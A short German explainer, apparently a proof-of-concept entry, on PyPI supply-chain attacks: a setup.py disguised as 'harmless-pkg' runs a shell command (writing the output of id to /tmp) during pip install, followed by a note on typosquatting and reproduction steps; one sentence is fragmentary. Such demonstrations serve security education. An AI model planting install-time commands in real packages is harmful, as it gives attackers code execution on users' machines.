
Zeigt, wie ein bösartiges Python-Paket während der pip-Installation über setup.py beliebige Befehle ausführt und dabei die Risiken der PyPI-Lieferkette und von Typosquatting hervorhebt.
# setup.py - Malicious package that executes during install
from setuptools import setup
import os
# This runs on pip install
os.system('id > /tmp/pwned_by_package')
setup(
name='harmless-pkg',
version='1.0',
packages=[],
)
Ein PyPI-Paket kann beliebigen Code in seiner setup.py enthalten, der während pip install ausgeführt wird. Ein Angreifer kann ein Paket mit einem Namen veröffentlichen, der einem bekannten Paket ähnelt (Typosquatting). Bei der Installation wird die Nutzlast mit den Rechten des Benutzers ausgeführt, was zu Remote-Codeausführung führt.
setup.py ohne Sandboxing aus, wodurch Pakete vollen Zugriff erhalten.setup.py.pip install ./harmless-pkg
cat /tmp/pwned_by_package
Der Befehl id wurde ausgeführt.